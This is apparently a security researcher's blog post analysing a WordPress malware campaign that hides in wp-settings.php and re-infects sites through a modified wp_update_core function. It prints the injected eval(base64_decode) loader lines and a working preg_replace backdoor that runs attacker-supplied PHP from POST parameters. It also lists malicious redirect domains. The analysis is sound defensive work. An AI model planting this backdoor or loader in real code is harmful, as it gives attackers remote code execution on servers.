Malware Piggybacks on Automatic WordPress Updates

Most WordPress bloggers know the “Always keep your WordPress blog up-to-date” mantra. To make upgrades painless, WordPress developers introduced the “Automatic Update” features in version 2.7. A blog admin only needs to visit the “Update WordPress” page (Tools -> Update) and click on the “Update Automatically” button. That’s it! Easy!

Sometimes I see how webmasters misinterpret the importance of upgrades for WordPress security. They expect that if they upgrade a hacked blog, it will immediately become clean and secure. Unfortunately it doesn’t work this way. Upgrades can only clean core WordPress files, leaving backdoors, infected themes, plugins and database records intact. That’s why it is important to clean up your site before the upgrade.

Moreover, a few days ago I came across a new massive infection (more than 1,000 currently known infected blogs) that hijacks the “Automatic Update” feature and makes it the event that triggers blog re-infection.

This attack began just before the WordPress 3.3.2 release, and many blogs now actively use the “Automatic Update” option to upgrade their blogs to this new version. For some of them, the upgrades come with a malicious extra.

Here’s a typical message on Safe Browsing diagnostic of infected site:

Malicious software is hosted on 8 domain(s), including riotorio .com/, vet46.osa .pl/, vetb3.osa .pl/.

5 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including berega .in/, bingotobingo .com/, cheap-royal-canadian-pill .com/.

Infected sites redirect search traffic to

hxxp://berega .in/?site=<site id>&q=<search query>&searchEngine=<engine id>
hxxp://zizigoba .in/?site=<site id>&q=<search query>&searchEngine=<engine id> 
hxxp://vivizaza .be/?site=<site id>8&q=<search query>&searchEngine=<engine id>

and then to sites like

hxxp://riotorio .com/search/?q=<search query>
hxxp://lazgosearch .com/search?_t=1&q=<search query>
http://gabazasearch .com/?_t=1&q=<search query>

Then via several layers of affiliate and pay-per-click redirectors (that include 184.171.169.132/click.php,clicks.thespecialsearch.com, ck.ads.affinity.com, ad.zanox.com/ppc/) you end up on various e-commerce sites or low quality PPC search result aggregators.

Here’s how this attack works:

wp-settings.php

In wp-settings.php file, there is the following injected code:

// For an advanced caching plugin to use. Uses a static drop-in because you would only want one.

// Start cache settings

eval(base64_decode('...long unreadable string here...'));

// Finish cache settings

// Start cache settings

// Finish cache settings

This code is responsible for malicious redirects. You can find unencrypted code here:http://pastebin.com/mPePkZ8R

If you read PHP, you’ll notice three interesting things in the code:

1. It sets a cookie “_tr” and only redirects if your browser doesn’t have this cookie (first time visitor from a search engine) – that’s why it may be hard to reproduce the redirects.

2. It works in two modes (depending on server capabilities): In mode “2″ it just modifies the “Location” HTTP header to redirect a visitor to a third party site.
In mode “1″, it makes a request to a remove server and then returns the response of that remove server. This remote server can save your IP address and you won’t be able to reproduce redirects even if you remove all cookies.

3. At the top of the code you can see this strange block:

if (isset($_REQUEST['cadv']) && isset($_REQUEST['gadv'])) {

$c = $_POST['cadv'];

$c = str_replace("\\\\", "\\", $c);

$g = $_POST['gadv'];

$g = str_replace("\\\"", "\"", $g);

$r = preg_replace("$c", $g, 'sss 4');

die();

}

It adds a backdoor functionality to this malicious code. Using specially crafted cadv and gadv paramers of POST requests and the PHP PREG_REPLACE_EVAL modifier in the preg_replace function, it is possible to execute arbitrary PHP code on compromised servers.

Update.php

Another changed file is wp-admin/includes/update.php where hackers modified the “wp_update_core” function:

// Start cache settings

$ee = $upgrader->upgrade($current);

define('WPA_SILENCE', '1');

eval(base64_decode("...long unreadable string here..."));

return $ee;

// Finish cache settings

instead of the original

return $upgrader->upgrade($current);

line.

The decoded version can be found on Pastebin: http://pastebin.com/v7SvS4yW

What this encrypted piece of code does is inject the malicious code into wp-settings.php file preserving its modification date.

Hijacked Automatic Updates

But why is it in wp-admin/includes/update.php? Is it just a random file that hackers use for this reinfection code? Of course not. This file and specifically the “wp_update_core” function is used by the WordPressAutomatic Update feature.

Behind the scenes, the “wp_update_core” function checks for available updates, downloads new files, replaces old files and does all the rest stuff required to successfully complete WordPress upgrades. Your blog is supposed to be fully updated just before this function returns. At that moment all infected core WordPress files (such as wp-settings.php) should be replaced with new clean copies. And this is exactly the moment when the malicious code in the “wp_update_core” function begins to work. It reinfects the just-updated and new wp-settings.php file.

So if you thought that WordPress upgrade could only make you blog more clean – you were wrong. If your blog was infected before the upgrade and hasn’t been completely cleaned up, the upgrade itself may even reinfect files that were clean before the upgrade.

Summary

1. WordPress upgrades are not a silver bullet. They can only improve your blog security if it was 100% clean before the upgrade. Otherwise you still have to invest your time in resolving all current security issues.

2. WordPress developers should consider adding some integrity control into their system (e.g. checksum control for core WP files) and warn webmasters (blog administrators) if core files change.

3. This particular attack hijacks only automatic WP upgrades. Manual upgrades and upgrades via SVN are still completely safe. By the way, not only are SVN updates safe but they are also nearly as simple as automatic updates (one simple command) and provide built-in integrity control, so you can easily identify all changed and potentially infected code WordPress files and have them reverted to their original state.

Update (May 4, 2012): I can see that some bloggers misinterpret my article and conclude that the Automatic Update feature of WordPress is not safe. That’s not correct. The Automatic Update feature itself is completely safe if your WordPress blog is not compromised. But when your blog is already hacked, hackers can hijack any feature and add malicious functionality to it. In this particular case, they decided to modify the auto-update feature to restore malicious code in wp-settings.php.

Request for information

If your blog is affected by this particular attack and you have raw access logs for at least one week, pleasecontact me. Your logs can help me learn more about this attack: what was the original security hole, how hackers use the backdoor, etc.